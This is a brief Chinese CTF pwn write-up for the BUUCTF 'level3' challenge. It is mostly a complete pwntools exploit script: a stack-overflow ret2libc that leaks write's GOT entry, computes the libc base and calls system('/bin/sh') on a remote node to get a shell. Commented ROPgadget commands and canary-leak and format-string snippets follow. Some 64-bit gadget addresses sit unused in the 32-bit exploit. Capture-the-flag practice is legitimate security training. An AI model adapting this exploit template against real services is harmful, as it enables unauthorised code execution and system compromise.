小白垃圾笔记,不建议阅读。
看下保护。
绕过NX
泄露libc吧。
最近才知道buu有所有的libc:
拷贝到本地,感觉方便多了。
思路是通过write泄露write的地址,然后计算偏移。
exp:
from pwn import *
from LibcSearcher import *
debug=0
if debug:
p=process('./level3')
elf=ELF('./level3')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
context.log_level='debug'
gdb.attach(p)
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p=remote('node4.buuoj.cn',27819)
elf=ELF('./level3')
libc=ELF('/home/y/Desktop/pwn/libc/ubuntu1632/libc-2.23 (3).so')
context.log_level='debug'
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def sl(x):
p.sendline(x)
pop_rdi_addr= 0x0000000000400733 # : pop rdi ; ret
ret_addr= 0x00000000004004d1 # : ret
pop_rsi_r15_addr=0x0000000000400731 #: pop rsi ; pop r15 ; ret
write_plt_addr=elf.plt['write']
write_got_addr=elf.got['write']
main_addr=elf.sym['main']
#read_addr=elf.got['read']
#main_addr=0x0000000000400636
format_str=0x0000000000400770
ru(b'Input:\n')
payload = b'a'*(0x88+4)+p32(write_plt_addr)+p32(main_addr)+p32(1)+p32(write_got_addr)+p32(4)
se(payload+b'\n')
write_addr=u32(p.recvuntil(b'\xf7')[-4:])
#printf_addr=u32(p.recv(4))
print(hex(write_addr))
#libc=LibcSearcher('printf',printf_addr)
#libc_base_addr=printf_addr-libc.dump('printf')
#system_addr=libc_base_addr+libc.dump('system')
#bin_sh_addr=libc_base_addr+libc.dump('str_bin_sh')
libc_base_addr=write_addr-libc.sym['write']
system_addr=libc_base_addr+ libc.sym['system']
bin_sh_addr=libc_base_addr+ next(libc.search(b'/bin/sh\x00'))
payload2=b'a'*(0x88+4)+p32(system_addr)+b'aaaa'+p32(bin_sh_addr)
ru(b'Input:\n')
se(payload2+b'\n')
#se(payload2.ljust(0x60,b'b')+b'\n')
#ru(b'\n')
p.interactive()
#ROPgadget --binary <binary_file> --only "pop|ret" | grep "pop rdi"
#ROPgadget --binary bin --only "pop|ret"
#ROPgadget --binary ./level2_x64 --only "ret"
#ROPgadget --binary babyrop2 |grep "pop rsi"
#write_add=u32(p.recv(4))
#addr=u32(r.recvuntil(b'\xf7')[-4:])
#puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
#sa(b'wish!\n', b'%11$p')
#rl(b'0x')
#canary = int(p.recv(16), 16)